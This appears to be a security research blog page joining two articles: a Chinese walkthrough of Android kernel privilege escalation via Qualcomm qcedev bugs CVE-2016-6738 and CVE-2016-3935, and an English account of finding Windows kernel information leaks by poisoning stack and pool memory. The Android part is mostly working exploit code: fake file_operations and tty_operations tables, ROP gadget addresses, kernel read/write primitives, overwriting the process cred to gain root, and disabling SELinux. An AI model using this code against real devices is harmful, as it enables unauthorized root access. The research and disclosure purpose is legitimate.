  • Make CONFIG_STRICT_KERNEL_RWX and CONFIG_STRICT_MODULE_RWX mandatory (done for arm64 and x86, other archs still need it)
  • Convert remaining BPF JITs to eBPF JIT (with blinding) (In progress: arm)
  • Write lib/test_bpf.c tests for eBPF constant blinding
  • Further restriction of perf_event_open (e.g. perf_event_paranoid=3)
  • Extend HARDENED_USERCOPY to use slab whitelisting (in progress)
  • Extend HARDENED_USERCOPY to split user-facing malloc()s and in-kernel malloc()svmalloc stack guard pages (in progress)
  • protect ARM vector table as fixed-location kernel target
  • disable kuser helpers on arm
  • rename CONFIG_DEBUG_LIST better and default=y
  • add WARN path for page-spanning usercopy checks (instead of the separate CONFIG)
  • create UNEXPECTED(), like BUG() but without the lock-busting, etc
  • create defconfig “make” target for by-default hardened Kconfigs (using guidelines below)
  • provide mechanism to check for ro_after_init memory areas, and reject structures not marked ro_after_init in vmbus_register()
  • expand use of __ro_after_init, especially in arch/arm64
  • Add stack-frame walking to usercopy implementations (Done: x86. In progress: arm64. Needed on arm, others?)
  • restrict autoloading of kernel modules (like GRKERNSEC_MODHARDEN) (In progress: Timgad LSM)

有兴趣的同学可以进入该项目看看代码,提前了解一下缓解措施,

比如 KASLR for ARM, 将大部分内核对象的地址做了随机化处理,这是以后 android kernel exploit 必须面对的;

另外比如 __ro_after_init ,内核启动完成初始化之后大部分 fops 全局变量都变成 readonly 的,这造成了本文这种利用方法失效, 所幸的是,目前 android kernel 还是可以用的。

本文使用的利用方法 [^]

对照 Kernel_Self_Protection_Project 的利用分类,本文的利用思路属于 Userspace data usage

Sometimes an attacker won’t be able to control the instruction pointer directly, but they will be able to redirect the dereference a structure or other pointer. In these cases, it is easiest to aim at malicious structures that have been built in userspace to perform the exploitation.

具体来说,我们在应用层构造一个伪 file_operations 结构体(其他如 tty_operations 也可以),然后通过漏洞改写内核某一个驱动的 fops 指针,将其改指向我们在应用层伪造的结构体,之后,我们搜索特定的 rop 并随时替换这个伪 file_operations 结构体里的函数实现,就可以做到在内核多次执行任意代码(取决于rop) ,这种方法的好处包括:

  1. 内核有很多驱动,所以 fops 非常多,地址上也比较分散,对一些溢出类漏洞来说,选择比较多
  2. 内核的 fops 一般都存放在 writable 的 data 区,至少目前android 主流 kernel 依然如此
  3. 将内核的 fops 指向用户空间后,用户空间可以随意改写其内部函数的实现
  4. 只需要一次内核写

下面结合漏洞说明怎么利用

CVE-2016-6738 漏洞利用 [^]

CVE-2016-6738 是一个任意地址写任意值的漏洞,利用代码已经提交在 EXP-CVE-2016-6738

我们选择重定向 /dev/ptmx 设备的 file_operations, 先在用户态构造一个伪结构,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
if(map == MAP_FAILED) {
printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
ret = -1;
goto out;
}
//printf("[+] landing mmap'ed @ %p\n", map);
memset(map, 0x0, 0x10000);
fake_ptmx_fops = map;
printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops);
*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;

根据前面的分析,伪结构的值需要先做一次加密,再使用

1
2
3
unsigned long edata = 0;
qcedev_encrypt(fd, fake_ptmx_fops, &edata);
trigger(fd, edata);

下面是核心的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

static int trigger(int fd, unsigned long src)
{
int cmd;
int ret;
int size;
unsigned long dst;
struct qcedev_cipher_op_req params;

dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops
size = sizeof(unsigned long);
memset(&params, 0, sizeof(params));
cmd = QCEDEV_IOCTL_DEC_REQ;
params.entries = 1;
params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
params.alg = QCEDEV_ALG_DES;
params.mode = QCEDEV_DES_MODE_ECB;
params.data_len = size;
params.vbuf.src[0].len = size;
params.vbuf.src[0].vaddr = &src;
params.vbuf.dst[0].len = size;
params.vbuf.dst[0].vaddr = dst;
memcpy(params.enckey,"test", 16);
params.encklen = 16;

printf("[+] overwrite ptmx_cdev ops\n");
ret = ioctl(fd, cmd, &params); // trigger
if(ret == -1) {
printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
return -1;
}
return 0;

}

参数 src 就是 fake_ptmx_fops 加密后的值,我们将其地址放入 qcedev_cipher_op_req.vbuf.src[0].vaddr 里,目标地址 qcedev_cipher_op_req.vbuf.dst[0].vaddr 存放 ptmx_cdev->ops 的地址,然后调用 ioctl 触发漏洞,任意地址写漏洞触发后,目标地址 ptmx_cdev->ops 的值会被覆盖为 fake_ptmx_fops.

此后,对 ptmx 设备的内核fops函数执行,都会被重定向到用户层伪造的函数,我们通过一些rop 片段来实现伪函数,就可以被内核直接调用。

1
2
3
4
5
6
/*
* rop write:
* ffffffc000671a58: b9000041 str w1, [x2]
* ffffffc000671a5c: d65f03c0 ret
*/
#define ROP_WRITE 0xffffffc000671a58

比如,我们找到一段 rop 如上,其地址是 0xffffffc000671a58, 其指令是 str w1, [x2] ; ret ;

这段 rop 作为一个函数去执行的话,其效果相当于将第二个参数的值写入第三个参数指向的地址。

我们用这段 rop 构造一个用户态函数,如下

1
2
3
4
5
6
7
8
9
10
static int kernel_write_32(unsigned long addr, unsigned int val)
{
unsigned long arg;

*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

arg = addr;
ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
return 0;
}

9*8 是 ioctl 函数在 file_operations 结构体里的偏移,

*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

的效果就是 ioctl 的函数实现替换成 ROP_WRITE, 这样我们调用 ptmx 的 ioctl 函数时,最后真实执行的是 ROP_WRITE, 这就是一个内核任意地址写任意值函数。

同样的原理,我们封装读任意内核地址的函数。

有了任意内核地址读写函数之后,我们通过以下方法完成最终提权:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static int do_root(void)
{
int ret;
unsigned long i, cred, addr;
unsigned int tmp0;

/* search myself */
ret = get_task_by_comm(&my_task);
if(ret != 0) {
printf("[-] get myself fail!\n");
return -1;
}
if(!my_task || (my_task < 0xffffffc000000000)) {
printf("invalid task address!");
return -2;
}

ret = kernel_read(my_task + cred_offset, &cred);
if (cred < KERNEL_BASE) return -3;

i = 1;
addr = cred + 4 * 4;
ret = kernel_read_32(addr, &tmp0);
if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
i += 4;
addr = cred + (i+0) * 4;
ret = kernel_write_32(addr, 0);
addr = cred + (i+1) * 4;
ret = kernel_write_32(addr, 0);
...
ret = kernel_write_32(addr, 0xffffffff);
addr = cred + (i+16) * 4;
ret = kernel_write_32(addr, 0xffffffff);
/* success! */

// disable SELinux
kernel_write_32(SELINUX_ENFORCING, 0);

return 0;
}

搜索到本进程的 cred 结构体,并使用我们封装的内核读写函数,将其成员的值改为0,这样本进程就变成了 root 进程。
搜索本进程 task_struct 的函数 get_task_by_comm 具体实现参考 github 的代码。

CVE-2016-3935 漏洞利用 [^]

这个漏洞的提权方法跟 6738 是一样的,唯一不同的地方是,这是一个堆溢出漏洞,我们只能覆盖堆里边的 fops (cve-2016-6738 我们覆盖的是 .data 区里的 fops )。

在我测试的版本里,k_buf_src 是从 kmalloc-4096 分配出来的,因此,需要找到合适的结构来填充 kmalloc-4096 ,经过一些源码搜索,我找到了 tty_struct 这个结构

1
2
3
4
5
6
7
8
9
10
11

include/linux/tty.h
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
...
}

在我做利用的设备里,这个结构是从 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一个 struct tty_operations 的指针,我们溢出后重写这个结构体,用一个用户态地址覆盖这个指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

#define TTY_MAGIC 0x5401
void trigger(int fd)
{

#define SIZE 632 // SIZE = sizeof(struct tty_struct)

int ret, cmd, i;
struct qcedev_sha_op_req params;
int *magic;
unsigned long * ttydriver;
unsigned long * ttyops;

memset(&params, 0, sizeof(params));
params.entries = 9;
params.data_len = SIZE;
params.authklen = 16;
params.authkey = &trigger_buf[0];
params.alg = QCEDEV_ALG_AES_CMAC;

// when tty_struct coming from kmalloc-4096
magic =(int *) &trigger_buf[4096];
*magic = TTY_MAGIC;
ttydriver = (unsigned long*)&trigger_buf[4112];
*ttydriver = &trigger_buf[0];
ttyops = (unsigned long*)&trigger_buf[4120];
*ttyops = fake_ptm_fops;
params.data[0].len = 4128;
params.data[0].vaddr = &trigger_buf[0];
params.data[1].len = 536867423 ;
params.data[1].vaddr = NULL;
for (i = 2; i < params.entries; i++) {
params.data[i].len = 0x1fffffff;
params.data[i].vaddr = NULL;
}

cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;
ret = ioctl(fd, cmd, &params);
if(ret<0) {
printf("[-] ioctl fail %s\n",strerror(errno));
return;
}
printf("[+] succ trigger\n");
}

4128 + 536867423 + 7 * 0x1fffffff = 632

溢出的方法如上,我们让 entry 的数目为 9 个,第一个长度为 4128, 第二个为 536867423, 其他7个为0x1fffffff

这样他们加起来溢出之后的值就是 632, 这个长度刚好是 struct tty_struct 的长度,我们用 qcedev_sha_op_req.data[0].vaddr[4096] 这个数据来填充被溢出的 tty_struct 的内容

主要是填充两个地方,一个是最开头的 tty magic, 另一个就是偏移 24Bype 的 tty_operations 指针,我们将这个指针覆盖为伪指针 fake_ptm_fops.

之后的提权操作与 cve-2016-6738 类似,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

include/linux/tty_driver.h

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
}

如上,ioctl 函数在 tty_operations 结构体里偏移 12 个指针,当我们用 ROP_WRITE 覆盖这个位置时,可以得到一个内核地址写函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

#define ioctl_syscall(n, efd, cmd, arg) \
eabi_syscall(n, efd, cmd, arg)
ENTRY(eabi_syscall)
mov x8, x0
mov x0, x1
mov x1, x2
mov x2, x3
mov x3, x4
mov x4, x5
mov x5, x6
svc #0x0
ret
END(eabi_syscall)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

/*
* rop write
* ffffffc000671a58: b9000041 str w1, [x2]
* ffffffc000671a5c: d65f03c0 ret
*/
#define ROP_WRITE 0xffffffc000671a58

static int kernel_write_32(unsigned long addr, unsigned int val)
{
unsigned long arg;

*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_WRITE;

arg = addr;
ioctl_syscall(__NR_ioctl, fake_fd, val, arg);
return 0;
}

同理,当我们用 ROP_READ 覆盖这个位置时,可以得到一个内核地址写函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
* rop read
* ffffffc000300060: f9405440 ldr x0, [x2,#168]
* ffffffc000300064: d65f03c0 ret
*/
#define ROP_READ 0xffffffc000300060

static int kernel_read_32(unsigned long addr, unsigned int *val)
{
int ret;
unsigned long arg;

*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_READ;
arg = addr - 168;
errno = 0;
ret = ioctl_syscall(__NR_ioctl, fake_fd, 0xdeadbeef, arg);
*val = ret;
return 0;
}

最后,用封装好的内核读写函数,修改内核的 cred 等结构体完成提权。

参考 [^]


android_run_root_shell

xairy

New Reliable Android Kernel Root Exploitation Techniques

Automatically Discovering Windows Kernel Information Leak Vulnerabilities

author : fanxiaocao(@TinySecEx) and @pjf_ of IceSword Lab , Qihoo 360


TL;DR

This Patch-Tuesday MS fixed 6 kernel information leak vulnerabilities reported by us, the details are at the end of this article.
I had already show how to fuzz the windows kernel via JS , today we will introduce a new method to discover windows kernel vulnerabilities automatically without fuzzing.
I selected a small part from the work in the past few months to spread out this topic.

KASLR

In Windows Vista and above, Microsoft enable Kernel Address Space Layout Randomization (KASLR) by default to prevent exploitation by placing various objects at random addresses, rather than fixed ones. It is an effective method against exploitation using Return-oriented Programming (ROP) attack.

Beginning with Windows 8, KASLR is enhanced with a newly introduced function ExIsRestrictedCaller.
Programs under medium integrity are not able to invoke functions such as NtQuerySystemInformation to obtain addresses of kernel modules, kernel objects or pools.

The functions include but not limited to:

NtQuerySystemInformation

* SystemModuleInformation 
* SystemModuleInformationEx 
* SystemLocksInformation 
* SystemStackTraceInformation 
* SystemHandleInformation 
* SystemExtendedHandleInformation 
* SystemObjectInformation 
* SystemBigPoolInformation 
* SystemSessionBigPoolInformation 
* SystemProcessInformation
* SystemFullProcessInformation

NtQueryInfomationThread

NtQueryInfomationProcess

The above is the traditional way to get the kernel module address and kernel object address, as the kernel normal feature.
But after win8, low integrity application will fail in calling these functions.

In order to bypass KASLR, a direct countermeasure is to discover vulnerabilities that leak valuable information from the kernel mode to calculate the address of kernel module or kernel object.

Kernel Information Leak

As a kind of kernel vulnerability, it has its own uniqueness. For example, for the traditional memory damage vulnerabilities, the vulnerability itself will affect the running of the kernel. With the help of verifier and other tools, you can easily capture this exception among the normal traffic.
But the kernel information leak vulnerability does not trigger any exception, nor does it affect the running of the kernel, which makes it more difficult to be discovered.
Vulnerabilities objectively exist, what we need to do is to find them at lowest cost.

Discover ideas

When kernel information leak vulnerability occurs, the kernel will certainly write some valuable data to the user buffer.
So if we monitor all the writing behaviors to user buffer in the kernel, we will be able to find them.

Of course, the system does not provide this feature.
I capture the process with the help of a hardware virtualization based framework of pjf,
who is the author of the famous windows kernel anti-rootkit tool named iceSword.

In order not to affect the dest system itself, I monitored in the VMWARE guest and write some log files, and then further analyze them in the host system.

In the host machine, after decoding and analyzing the logs:

Then we have the human-readable logs:

Further Analysis

Now we have operation records in user memory buffer written by kernel.
Most of them are just normal functions.

We need remove nosiy data to find out the key information.
Two skills are needed.

Poison the kernel stack

Poisoning or polluting the target is a common idea.
At network penetration testing, there are also ARP and DNS cache poisoning.

Here is the kernel stack poisoning, refers to the pollution to the entire unused kernel stack space.

If a variable on a kernel stack is not initialized, then when this variable is written to the user buffer, there will be a magic value in the record written by me. Wherever these is a magic value, there is a leak.

I noticed that j00ru also used similar techniques in his BochsPwn project.

KiFastCallEntry Hook

In order to poison the kernel stack, I hooked nt!KiFastCallEntry.
So that when a syscall invoked, I can poisoning the entire unused kernel stack space.

Firstly, I used ** IoGetStackLimits ** to get the current thread stack range, and then from the bottom of the stack to the current stack location of the entire space are filled with 0xAA.

So when I entered the syscall, all the contents of the local variables on the kernel stack will be filled into 0xAA.

Poison the kernel pool

Similarly, for dynamically allocated memory, I used hook nt!ExAllocatePoolWithTag and so on, and polluted its POOL content.

If the kernel stack/heap variable is not properly initialized, it is possible to write this magic value to the user buffer.

With the help of the logs we captured, we can immediately find this vulnerability.
In order to remove the coincidence, I also used a number of magic value such as 0xAAAAAAAA , 0xBBBBBBB to exclude false positives.

A typical result after excluding the interference is as follows.

You can see that in a short monitoring process, it caught the ** 161 ** leaks in the system!
Of course, this is not exhaustive. There are not so many independent vulnerabilities, but some vulnerabilities made repeated leaks.

At this point we caught a real information leak vulnerability, there is stack information, supplemented by a simple manual analysis, we can got the details.
This is also the story behind the CVE-2017-8482.

Difference comparison

For the kernel information leak caused by the uninitialized stack, we can poison them at first and then find them.
But for the direct disclosure of key information, such as the module and the object address written directly, it cannot be found in this way.

In the process of the system running, the kernel itself will frequently write data to the user buffer, a lot of data is in the kernel address range, but in fact it is not a valid address, but a noise data.
There are many such noise data, such as strings, pixels, rect, region, etc. which are likely happen to be a kernel address. We need to rule out the noise and found a real leak.

Here we filter out some meaningful addresses, such as:

  1. Module address, must be inside in the system module list
  2. object address
  3. POOL address

After the environment changes, such as restarting the system, it must be able to leak the same type of data at the same location.

After the exclusion of the normal function of the system, such as NtQuerySystemInformation and similar functions, the left data’s credibility is very high.

The leak of module address

For example CVE-2017-8485

You can see that the results at this time is very obvious - the same stack, the same location, are leaked nt! ObpReferenceObjectByHandleWithTag + 0x19f

The leak of object address

Due to leakage of object address and POOL address not fixed by Microsoft this month, I cannot describe the details.

More

You can see that we do not need a fuzzer, only through the code coverage generated by normal running of the system itself, we found these vulnerabilities.
Any normal program running can improve this coverage.
In fact, in the actual work, I only use the game and the browser to improve coverage and got good results.
A game finished, ten kernel vulnerabilities on the hand.

The case of this month

CVE-2017-8470

CVE-2017-8474

CVE-2017-8476

CVE-2017-8482

CVE-2017-8485